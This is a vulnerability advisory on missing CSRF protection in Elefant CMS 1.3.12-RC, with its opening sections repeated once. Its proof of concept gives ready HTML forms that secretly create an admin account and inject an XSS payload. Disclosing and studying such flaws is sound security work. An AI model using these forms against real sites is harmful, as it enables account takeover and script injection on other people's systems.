### 1. Introduction ``` Affected Product: Elefant CMS 1.3.12-RC Fixed in: 1.3.13 Fixed Version Link: https://github.com/jbroadway/elefant/releases/tag/elefant_1_3_13_rc Vendor Website: https://www.elefantcms.com/ Vulnerability Type: CSRF Remote Exploitable: Yes Reported to vendor: 09/05/2016 Disclosed to public: 02/02/2017 Release mode: Coordinated Release CVE: n/a (not requested) Credits Tim Coen of Curesec GmbH ``` ### 2. Overview Elefant is a content managment system written in PHP. In version 1.3.12-RC, it is vulnerable to cross site request forgery. If a victim visits a website that contains specifically crafted code while logged into Elefant, an attacker can for example create a new admin account without the victims knowledge. ### 3. Details CVSS: Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P There is no CSRF protection for various components, allowing among other the creation of new admin accounts or XSS attacks. Proof of Concept: Create New Admin: ``` Create New Admin: <html>...
### 1. Introduction ``` Affected Product: Elefant CMS 1.3.12-RC Fixed in: 1.3.13 Fixed Version Link: https://github.com/jbroadway/elefant/releases/tag/elefant_1_3_13_rc Vendor Website: https://www.elefantcms.com/ Vulnerability Type: CSRF Remote Exploitable: Yes Reported to vendor: 09/05/2016 Disclosed to public: 02/02/2017 Release mode: Coordinated Release CVE: n/a (not requested) Credits Tim Coen of Curesec GmbH ``` ### 2. Overview Elefant is a content managment system written in PHP. In version 1.3.12-RC, it is vulnerable to cross site request forgery. If a victim visits a website that contains specifically crafted code while logged into Elefant, an attacker can for example create a new admin account without the victims knowledge. ### 3. Details CVSS: Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P There is no CSRF protection for various components, allowing among other the creation of new admin accounts or XSS attacks. Proof of Concept: Create New Admin: ``` Create New Admin: <html> <body> <form action="http://localhost/user/add" method="POST"> <input type="hidden" name="name" value="admin3" /> <input type="hidden" name="email" value="admin3@example.com" /> <input type="hidden" name="password" value="admin3" /> <input type="hidden" name="verify_pass" value="admin3" /> <input type="hidden" name="type" value="admin" /> <input type="hidden" name="company" value="" /> <input type="hidden" name="title" value="" /> <input type="hidden" name="website" value="" /> <input type="hidden" name="photo" value="" /> <input type="hidden" name="about" value="" /> <input type="hidden" name="phone" value="" /> <input type="hidden" name="fax" value="" /> <input type="hidden" name="address" value="" /> <input type="hidden" name="address2" value="" /> <input type="hidden" name="city" value="" /> <input type="hidden" name="state" value="" /> <input type="hidden" name="country" value="" /> <input type="hidden" name="zip" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html> XSS: <html> <body> <form action="http://localhost/designer/preview" method="POST"> <input type="hidden" name="layout" value="<img src=no onerror=alert(1)>" /> <input type="submit" value="Submit request" /> </form> </body> </html> ``` ### 4. Solution To mitigate this issue please upgrade at least to version 1.3.13 . Please note that a newer version might already be available. ### 5. Report Timeline ``` 09/05/2016 Informed Vendor about Issue, Vendor announces fix 11/07/2016 Asked Vendor if recent releases fixes issues, Vendor confirmed 02/02/2017 Disclosed to public ```
